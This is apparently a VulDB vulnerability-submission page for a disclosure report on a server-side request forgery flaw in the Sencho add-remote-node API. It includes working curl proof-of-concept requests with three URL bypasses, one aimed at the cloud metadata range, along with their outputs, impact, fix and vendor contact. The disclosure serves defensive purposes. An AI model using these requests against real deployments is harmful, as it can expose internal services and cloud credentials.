إرسال #893356: Studio-Saelix sencho <= 0.94.1 Server-Side Request Forgeryالمعلومات

عنوانStudio-Saelix sencho <= 0.94.1 Server-Side Request Forgery
الوصفSUMMARY The "add remote node" feature (POST /api/nodes) in Sencho is vulnerable to Server-Side Request Forgery. The loopback/localhost block that Sencho documents as an anti-SSRF control can be bypassed with a public DNS wildcard, an IPv4-mapped IPv6 literal, or by targeting the unfiltered x.x.x.x cloud metadata range. An authenticated admin (or node:manage-capable) session can use this to make the Sencho backend connect to arbitrary internal hosts and ports. DETAILS isValidRemoteUrl() (backend/src/utils/validation.ts, per public source) blocks only a literal-string regex pattern (approximately localhost|127\.(\d+){3}|\[::1\]|0\.0\.0\.0) applied to the raw input string. It does not (1) normalize the host per the WHATWG URL spec before comparison, or (2) resolve DNS / canonicalize the host before deciding whether it's loopback/internal. The actual outbound connection happens later, in NodeRegistry.ts::testRemoteConnection, via axios.get(baseUrl + '/api/auth/check', ...), with no second validation pass at connection time. CSRF was considered and ruled out as an alternate attack path: the session cookie is HttpOnly; SameSite=Strict, the endpoint requires Content-Type: application/json, and no permissive CORS is configured -- so this requires an actual authenticated session, not just a logged-in admin visiting a malicious page. PROOF OF CONCEPT Requires an authenticated admin session (cookie jar cookies_admin.txt from POST /api/auth/login). Baseline -- confirms the intended block works for the literal string: curl -s -i -X POST -b cookies_admin.txt http://TARGET/api/nodes \ -H "Content-Type: application/json" \ -d '{"name":"x","type":"remote","api_url":"http://127.0.0.1:PORT","api_token":"x"}' -> HTTP 400 {"error":"API URL cannot point to localhost or loopback - use the actual host address"} Bypass 1 -- public DNS wildcard resolving to 127.0.0.1 (nip.io): curl -s -i -X POST -b cookies_admin.txt http://TARGET/api/nodes \ -H "Content-Type: application/json" \ -d '{"name":"ssrf-test","type":"remote","api_url":"http://127.0.0.1.nip.io:PORT/","api_token":"dummy-token"}' -> HTTP 200 {"success":true,"id":<N>} curl -s -i -X POST -b cookies_admin.txt http://TARGET/api/nodes/<N>/test -> {"success":false,"error":"Authentication failed - check the API token."} ("Authentication failed" only occurs if the TCP handshake succeeded and a real server answered; confirmed via negative control: a closed port returns ECONNREFUSED instead.) Bypass 2 -- IPv4-mapped IPv6 literal, no external DNS dependency: curl -s -i -X POST -b cookies_admin.txt http://TARGET/api/nodes \ -H "Content-Type: application/json" \ -d '{"name":"ssrf-test2","type":"remote","api_url":"http://[::ffff:127.0.0.1]:8977","api_token":"dummy"}' -> HTTP 200, node created curl -s -i -X POST -b cookies_admin.txt http://TARGET/api/nodes/<N2>/test -> {"success":false,"error":"connect ECONNREFUSED ::ffff:7f00:1:8977"} (WHATWG URL normalization rewrites the address to [::ffff:7f00:1], which doesn't match the regex.) Bypass 3 -- link-local / cloud metadata range, not blocked at all: curl -s -i -X POST -b cookies_admin.txt http://TARGET/api/nodes \ -H "Content-Type: application/json" \ -d '{"name":"ssrf-metadata","type":"remote","api_url":"http://x.x.x.x/","api_token":"dummy"}' -> HTTP 200, node created curl -s -i -X POST -b cookies_admin.txt http://TARGET/api/nodes/<N3>/test -> {"success":false,"error":"connect ECONNREFUSED x.x.x.x:80"} (In a real cloud deployment this address is the instance metadata service; the connection would succeed for real, potentially exposing IAM/service-account credentials.) Negative control: the same requests as a "viewer" role return 403 (access control for node:manage works as expected -- this is not an authorization bypass, only an SSRF). IMPACT An authenticated admin (or node:manage-capable session) can use the "add remote node" feature as a general-purpose SSRF proxy against the internal network reachable from the Sencho container -- including the cloud instance metadata service in cloud deployments. Sencho mounts /var/run/docker.sock, so the blast radius of further escalation from this position is high. FIX Resolve the host before validating (never trust the raw string), normalize all IP representations, block by IP range (127.0.0.0/8, x.x.x.x/16, fe80::/10, RFC1918/RFC4193) rather than string match, and re-validate at connection time to mitigate DNS rebinding. DUPLICATE CHECK Checked VulDB, NVD, and the GitHub public Advisory Database prior to submission; no existing entry found. The vendor's own advisories page (github.com/Studio-Saelix/sencho/security/advisories) shows no published advisories as of this submission. VENDOR CONTACT Vendor contacted via a private GitHub Security Advisory (GHSA-49jj-vg9f-rg55) on Studio-Saelix/sencho. No CVE requested and no patch published by maintainers as of this submission.
المصدر⚠️ https://gist.github.com/jovair1994/db23594d74428d38606e8000beb867d4
المستخدم
 jpazz (UID 99722)
ارسال16/07/2026 10:12 PM (3 أشهر منذ)
الاعتدال10/10/2026 02:48 PM (3 months later)
الحالةتمت الموافقة
إدخال VulDB416187 [Studio-Saelix Sencho حتى 0.97.1 Add Remote Node API Endpoint validation.ts isValidRemoteUrl تجاوز الصلاحيات]
النقاط20

Want to know what is going to be exploited?

We predict KEV entries!